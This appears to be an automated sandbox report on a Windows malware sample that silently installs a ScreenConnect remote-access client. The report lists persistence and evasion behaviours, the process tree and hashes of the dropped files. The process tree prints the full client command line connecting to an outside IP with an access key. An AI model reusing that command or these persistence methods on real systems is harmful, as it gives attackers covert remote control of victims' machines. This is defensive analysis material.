Analysis

  • max time kernel
    149s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 17:48

General

  • Target
    2026-08-17_e7034247671601087c6c8057d7377151_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
  • Size 5.4MB
  • Sample260817-wdpp2aer41
  • SHA256 aee49263fc352246588f4f1185add9dba5c147d4bdf1f42544a4cf1348f88590
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-17_e7034247671601087c6c8057d7377151_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-17_e7034247671601087c6c8057d7377151_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3476
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\4a90092f596fb8c9\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:5856
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3116
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6E05286B5DBB28EBB281EBC0FBC2ACAB C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1400
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI895A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240749015 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:6096
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:800
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 86D4C7703DB298E7AE96130B31173E60
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1044
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9A90DA236F8F3B027EEEEE91E89C0E7F E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5036
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4268
    • C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=172.110.223.238&p=8041&s=45204982-0127-4336-a98a-c263ccb62b36&k=BgIAAACkAABSU0ExAAgAAAEAAQAVWB9%2bZDE2KFE0zDPsUWGZajeu%2bUlfaFxN09YRHVeZF3tv60NnpmX7m%2fpyVhXNa3Mt3q44ZwhVnRvfjTVbyoOiOkDmfu5%2fjIMPNfB3LczH5qTrxJqamiyQIFjLYBcLiM53HzsDqaCYG7Zk788GC1H97xa7RcH5wEPoVqeshvwrfuH4ipbcG6q0itIx3Q%2fP2%2bNfIW%2fWKJ9cnaKVzX4kFaAe6OWz2TFfDOZzTqVr%2fKGo21aprYVgkAOuYzpyWyqVYelOk%2blD5jQLxGFgrWof8%2bGmnOF7ZMgQJ3rD8xTTATBFMp3hKg4yXpTigmcyx7bZTIkGwKMTDzod%2bTKH%2brgpNI6t&c=ITI&c=ATT&c=Sales&c=A1&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4640
      • C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\ScreenConnect.WindowsClient.exe" "RunRole" "8819b8c4-abca-4cb7-8d67-b5cb73ba2354" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:4180
      • C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\ScreenConnect.WindowsClient.exe" "RunRole" "47f9eca7-9ec0-4a9b-8291-34d5b65f68c1" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5944

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e59cfea.rbs

          • Path C:\Config.Msi\e59cfea.rbs
          • Size 214KB
          • SHA256 f53736abc7d88b84c0d64bcb97372f22e3e11034f02e5fe9986e85e8d503983e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 8872211a8f4ff520d9d3342ed3841eb6fe42f6d83a0f639f6baf84795da99de2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 42e0add27d20e2393f9793197798ac7d374812a6dcd290b153f879a201e546af
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 ea1cfad9596a150beb04e81f84fa68f1af8905847503773570c901167be8bf39
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 08efe3e41bd508e2e9c3f8cf4d466cb1c96c35c1b463e79f2a24ac031ab79b48
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 832KB
          • SHA256 86432f33567ef172674fd7a828afa6a62e9d90efc8dba6199d803b0888d35e1b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (4a90092f596fb8c9)\system.config
          • Size 945B
          • SHA256 dbe22d1c6086a24534733603b3ce04362d76da893c05d104e43c864fd1344d90
          • MD5 SHA1 SHA512 TLSH

          MSI895A.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI895A.tmp
          • Size 1.0MB
          • SHA256 db51e4b70f27d0bf28789ea3345bf693035916461d22661c26f149c5bc8891ed
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI895A.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI895A.tmp-\ScreenConnect.Core.dll
          • Size 537KB
          • SHA256 8377a87625c04ca5d511ceec91b8c029f9901079abf62cf29cf1134c99fa2662
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI895A.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d09447d4816e248c16891361d87019156cc7664b213357a8e6c422484b8d6b4e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI895A.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 2659f660691d65628d2fcc3bfc334686cd053f162cdb73bf7a0da0ac6449db92
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\4a90092f596fb8c9\ScreenConnect.ClientSetup.msi
          • Size 7.9MB
          • SHA256 bef54b2aa01f878cb13798dfb5caa8ae10652abdc7d7ef3a2cf329e76955acc3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\4a90092f596fb8c9\ScreenConnect.ClientSetup.msi
          • Size 7.9MB
          • SHA256 ee6220f3eb7019e543ba7bdc43209f2a3b3a722a83bc789716d953db6a3386b6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSID568.tmp

          • Path C:\Windows\Installer\MSID568.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 5734639ccf1ef608ab6f7a3267a2e9a750ca984f3fcc44d60072f808a70e839c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {ef861ea1-0423-40d8-999c-e23493615e6e}_OnDiskSnapshotProp

          • Path \??\Volume{ca73a981-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{ef861ea1-0423-40d8-999c-e23493615e6e}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 70d0ff907510abcab9d1201a4f387faf5eaf3cd7a26b453b84b927ae7149b059
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/3116-70-0x0000017811260000-0x0000017811C04000-memory.dmp

          memory/3476-13-0x0000000074D00000-0x00000000754BC000-memory.dmp

          memory/3476-9-0x0000000074D00000-0x00000000754BC000-memory.dmp

          memory/3476-1-0x0000000001670000-0x0000000001678000-memory.dmp

          memory/3476-2-0x0000000074D00000-0x00000000754BC000-memory.dmp

          memory/3476-3-0x00000000057F0000-0x0000000005AE0000-memory.dmp

          memory/3476-20-0x0000000074D00000-0x00000000754BC000-memory.dmp

          memory/3476-0-0x0000000074D12000-0x0000000074D13000-memory.dmp

          memory/3476-4-0x0000000005550000-0x00000000055DC000-memory.dmp

          memory/3476-12-0x0000000074D12000-0x0000000074D13000-memory.dmp

          memory/3476-10-0x0000000074D00000-0x00000000754BC000-memory.dmp

          memory/3476-5-0x0000000074D00000-0x00000000754BC000-memory.dmp

          memory/3476-6-0x0000000002F30000-0x0000000002F52000-memory.dmp

          memory/3476-7-0x00000000055E0000-0x000000000578C000-memory.dmp

          memory/3476-8-0x00000000060A0000-0x000000000665A000-memory.dmp

          memory/4180-136-0x000000001C0D0000-0x000000001C258000-memory.dmp

          memory/4180-137-0x0000000002CF0000-0x0000000002D08000-memory.dmp

          memory/4180-138-0x0000000002D70000-0x0000000002D88000-memory.dmp

          memory/4180-134-0x000000001BB50000-0x000000001BBDC000-memory.dmp

          memory/4180-135-0x000000001BD90000-0x000000001BF3C000-memory.dmp

          memory/4180-132-0x0000000000AF0000-0x0000000000B86000-memory.dmp

          memory/4180-133-0x0000000002D30000-0x0000000002D66000-memory.dmp

          memory/4640-94-0x0000000001D20000-0x0000000001D38000-memory.dmp

          memory/4640-115-0x0000000004860000-0x00000000048B0000-memory.dmp

          memory/4640-119-0x0000000004670000-0x00000000046A6000-memory.dmp

          memory/4640-120-0x0000000004950000-0x00000000049E2000-memory.dmp

          memory/4640-124-0x0000000004B40000-0x0000000004C15000-memory.dmp

          memory/4640-122-0x00000000048B0000-0x00000000048F1000-memory.dmp

          memory/6096-40-0x00000000040A0000-0x00000000040CE000-memory.dmp

          memory/6096-52-0x0000000006540000-0x00000000066EC000-memory.dmp

          memory/6096-44-0x00000000040E0000-0x00000000040EA000-memory.dmp

          memory/6096-48-0x00000000041A0000-0x000000000422C000-memory.dmp